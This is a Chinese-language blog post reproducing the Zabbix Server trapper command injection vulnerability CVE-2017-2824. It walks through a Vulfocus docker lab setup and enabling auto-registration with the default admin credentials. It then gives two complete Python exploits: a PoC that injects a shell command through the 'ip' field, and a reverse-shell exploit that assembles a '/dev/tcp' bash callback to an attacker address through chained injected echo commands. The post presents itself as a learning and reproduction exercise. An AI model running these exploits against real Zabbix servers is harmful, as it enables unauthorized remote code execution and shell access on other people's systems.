Zabbix Server trapper 命令注入漏洞 (CVE-2017-2824)


声明

本篇文章仅用于技术学习与漏洞复现,切勿用于非授权下的渗透测试行为,切记!


一、漏洞简介

Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求,从而触发漏洞。

二、影响范围

Zabbix Server 2.4.X 版本

三、环境搭建

Vulfocus:docker pull vulfocus/zabbix-cve_2017_2824:latest
在这里插入图片描述
查看本地镜像并运行漏洞环境

docker images

docker run -d -P vulfocus/zabbix-cve_2017_2824

-d:将镜像挂起后台运行
-P:将镜像需要开启的端口随机映射到这台服务器的公网IP端口上

在这里插入图片描述
在这里插入图片描述
访问ip:port成功搭建,使用默认管理员账号密码进入后台

用户名:admin

密码:Zabbix

在这里插入图片描述
接着 在Configuration的选项卡里进入Actions下把Event source选中Auto registration,点击Create action,以管理员的身份去开启自动注册功能
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
操作完成之后就开启了自动注册功能。
在这里插入图片描述

四、本地实战

POC测试

利用链接:https://github.com/listenquiet/cve-2017-2824-reverse-shell

import sys
import socket
import json
import sys

def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data

target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

在这里插入图片描述

使用 ls /tmp命令查看是否执行成功
在这里插入图片描述

反弹Shell

Exp如下:

import sys
import socket
import json
from time import sleep

def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data

 # target = "X.X.X.X"
target = sys.argv[1]
num = 1

exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
        ';echo -n "X.X." >> /tmp/1.sh', ';echo -n "X.X/" >> /tmp/1.sh', ';echo -n "1234 0>&1" >> /tmp/1.sh',
        ';/bin/bash /tmp/1.sh']
for exp in exps:
    host = "vulhub" + str(num)
    print(host)
    print(send(target, {"request": "active checks", "host": host, "ip": exp}))
    sleep(1)
    num += 1

    for i in range(10000, 10500):
        data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
        if data and b'failed' not in data:
            print('hostid: %d' % i)
            print(data)

在这里插入图片描述
执行:python3 exp.py X.X.X.X
在这里插入图片描述
可以看到已经反弹Shell
在这里插入图片描述
攻击完成!!!

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李火火安全阁

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值